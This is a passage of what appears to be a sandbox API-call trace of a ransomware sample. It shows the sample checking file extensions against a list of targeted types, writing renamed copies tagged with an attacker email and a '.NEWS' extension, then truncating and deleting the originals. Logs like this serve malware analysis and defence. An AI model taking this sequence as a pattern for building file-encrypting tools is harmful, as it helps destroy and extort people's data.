(lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString=".dbf") returned 4 [0061.906] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString=".1cd") returned 4 [0061.906] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString=".jpg") returned 4 [0061.906] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString=".doc") returned 4 [0061.906] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString=".docx") returned 5 [0061.906] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0061.906] lstrlenW (lpString=".pdf") returned 4 [0061.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString=".xls") returned 4 [0061.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString=".xlsx") returned 5 [0061.906] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0061.906] lstrlenW (lpString=".ppt") returned 4 [0061.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString=".zip") returned 4 [0061.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString=".rar") returned 4 [0061.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.907] lstrlenW (lpString=".bz2") returned 4 [0061.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.907] lstrlenW (lpString=".7z") returned 3 [0061.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.907] lstrlenW (lpString=".dbf") returned 4 [0061.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.907] lstrlenW (lpString=".1cd") returned 4 [0061.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.907] lstrlenW (lpString=".jpg") returned 4 [0061.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.907] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0061.907] lstrlenW (lpString="SetupResources.dll") returned 18 [0061.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0061.907] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=18264) returned 1 [0061.907] CloseHandle (hObject=0x31c) returned 1 [0061.907] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0061.907] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.908] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0061.908] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.908] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.908] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.910] GetLastError () returned 0x0 [0061.910] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4758, lpOverlapped=0x0) returned 1 [0061.912] WriteFile (in: hFile=0x320, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4760, lpOverlapped=0x0) returned 1 [0061.913] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.913] WriteFile (in: hFile=0x320, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0061.913] SetEndOfFile (hFile=0x320) returned 1 [0061.913] CloseHandle (hObject=0x320) returned 1 [0061.914] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.914] SetEndOfFile (hFile=0x31c) returned 1 [0061.915] CloseHandle (hObject=0x31c) returned 1 [0061.915] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.916] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0061.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.916] lstrlenW (lpString=".doc") returned 4 [0061.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.916] lstrlenW (lpString=".docx") returned 5 [0061.916] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0061.916] lstrlenW (lpString=".pdf") returned 4 [0061.916] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.916] lstrlenW (lpString=".xls") returned 4 [0061.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.916] lstrlenW (lpString=".xlsx") returned 5 [0061.916] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0061.916] lstrlenW (lpString=".ppt") returned 4 [0061.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.916] lstrlenW (lpString=".zip") returned 4 [0061.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.916] lstrlenW (lpString=".rar") returned 4 [0061.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.916] lstrlenW (lpString=".bz2") returned 4 [0061.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.916] lstrlenW (lpString=".7z") returned 3 [0061.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.916] lstrlenW (lpString=".dbf") returned 4 [0061.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.916] lstrlenW (lpString=".1cd") returned 4 [0061.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.917] lstrlenW (lpString=".jpg") returned 4 [0061.917] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.917] lstrlenW (lpString=".doc") returned 4 [0061.917] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString=".docx") returned 5 [0061.917] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0061.917] lstrlenW (lpString=".pdf") returned 4 [0061.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString=".xls") returned 4 [0061.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString=".xlsx") returned 5 [0061.917] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0061.917] lstrlenW (lpString=".ppt") returned 4 [0061.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.917] lstrlenW (lpString=".zip") returned 4 [0061.917] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString=".rar") returned 4 [0061.917] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.917] lstrlenW (lpString=".bz2") returned 4 [0061.917] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.917] lstrlenW (lpString=".7z") returned 3 [0061.917] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.917] lstrlenW (lpString=".dbf") returned 4 [0061.917] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.917] lstrlenW (lpString=".1cd") returned 4 [0061.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0061.918] lstrlenW (lpString=".jpg") returned 4 [0061.918] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.918] Sleep (dwMilliseconds=0x64) [0063.649] Sleep (dwMilliseconds=0x64) [0064.005] Sleep (dwMilliseconds=0x64) [0064.585] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.586] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.586] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=17752) returned 1 [0064.586] CloseHandle (hObject=0x31c) returned 1 [0064.586] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0064.586] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.586] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.586] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.586] GetLastError () returned 0x0 [0064.586] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4558, lpOverlapped=0x0) returned 1 [0064.588] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4560, lpOverlapped=0x0) returned 1 [0064.590] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.590] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.590] SetEndOfFile (hFile=0x2f4) returned 1 [0064.590] CloseHandle (hObject=0x2f4) returned 1 [0064.591] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.591] SetEndOfFile (hFile=0x31c) returned 1 [0064.592] CloseHandle (hObject=0x31c) returned 1 [0064.592] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.592] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0064.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.593] lstrlenW (lpString=".doc") returned 4 [0064.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.593] lstrlenW (lpString=".docx") returned 5 [0064.593] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.593] lstrlenW (lpString=".pdf") returned 4 [0064.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.593] lstrlenW (lpString=".xls") returned 4 [0064.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.593] lstrlenW (lpString=".xlsx") returned 5 [0064.593] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.593] lstrlenW (lpString=".ppt") returned 4 [0064.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.593] lstrlenW (lpString=".zip") returned 4 [0064.593] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.593] lstrlenW (lpString=".rar") returned 4 [0064.593] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.593] lstrlenW (lpString=".bz2") returned 4 [0064.593] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.593] lstrlenW (lpString=".7z") returned 3 [0064.593] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.593] lstrlenW (lpString=".dbf") returned 4 [0064.593] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.593] lstrlenW (lpString=".1cd") returned 4 [0064.593] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString=".jpg") returned 4 [0064.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString=".doc") returned 4 [0064.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString=".docx") returned 5 [0064.594] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.594] lstrlenW (lpString=".pdf") returned 4 [0064.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString=".xls") returned 4 [0064.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString=".xlsx") returned 5 [0064.594] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.594] lstrlenW (lpString=".ppt") returned 4 [0064.594] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString=".zip") returned 4 [0064.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString=".rar") returned 4 [0064.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.594] lstrlenW (lpString=".bz2") returned 4 [0064.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.594] lstrlenW (lpString=".7z") returned 3 [0064.594] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString=".dbf") returned 4 [0064.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString=".1cd") returned 4 [0064.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0064.594] lstrlenW (lpString=".jpg") returned 4 [0064.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.595] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.595] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.595] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=18264) returned 1 [0064.595] CloseHandle (hObject=0x31c) returned 1 [0064.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0064.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.596] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.596] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.596] GetLastError () returned 0x0 [0064.596] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4758, lpOverlapped=0x0) returned 1 [0064.598] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4760, lpOverlapped=0x0) returned 1 [0064.600] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.600] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.600] SetEndOfFile (hFile=0x2f4) returned 1 [0064.600] CloseHandle (hObject=0x2f4) returned 1 [0064.601] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.601] SetEndOfFile (hFile=0x31c) returned 1 [0064.602] CloseHandle (hObject=0x31c) returned 1 [0064.602] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.603] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0064.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.603] lstrlenW (lpString=".doc") returned 4 [0064.603] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.603] lstrlenW (lpString=".docx") returned 5 [0064.603] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.603] lstrlenW (lpString=".pdf") returned 4 [0064.603] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.603] lstrlenW (lpString=".xls") returned 4 [0064.603] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.603] lstrlenW (lpString=".xlsx") returned 5 [0064.603] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.603] lstrlenW (lpString=".ppt") returned 4 [0064.603] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.603] lstrlenW (lpString=".zip") returned 4 [0064.603] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.603] lstrlenW (lpString=".rar") returned 4 [0064.603] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.603] lstrlenW (lpString=".bz2") returned 4 [0064.603] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.603] lstrlenW (lpString=".7z") returned 3 [0064.603] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.603] lstrlenW (lpString=".dbf") returned 4 [0064.603] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString=".1cd") returned 4 [0064.604] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString=".jpg") returned 4 [0064.604] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString=".doc") returned 4 [0064.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString=".docx") returned 5 [0064.604] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.604] lstrlenW (lpString=".pdf") returned 4 [0064.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString=".xls") returned 4 [0064.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString=".xlsx") returned 5 [0064.604] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.604] lstrlenW (lpString=".ppt") returned 4 [0064.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString=".zip") returned 4 [0064.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString=".rar") returned 4 [0064.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.604] lstrlenW (lpString=".bz2") returned 4 [0064.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.604] lstrlenW (lpString=".7z") returned 3 [0064.604] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString=".dbf") returned 4 [0064.604] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.604] lstrlenW (lpString=".1cd") returned 4 [0064.604] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0064.605] 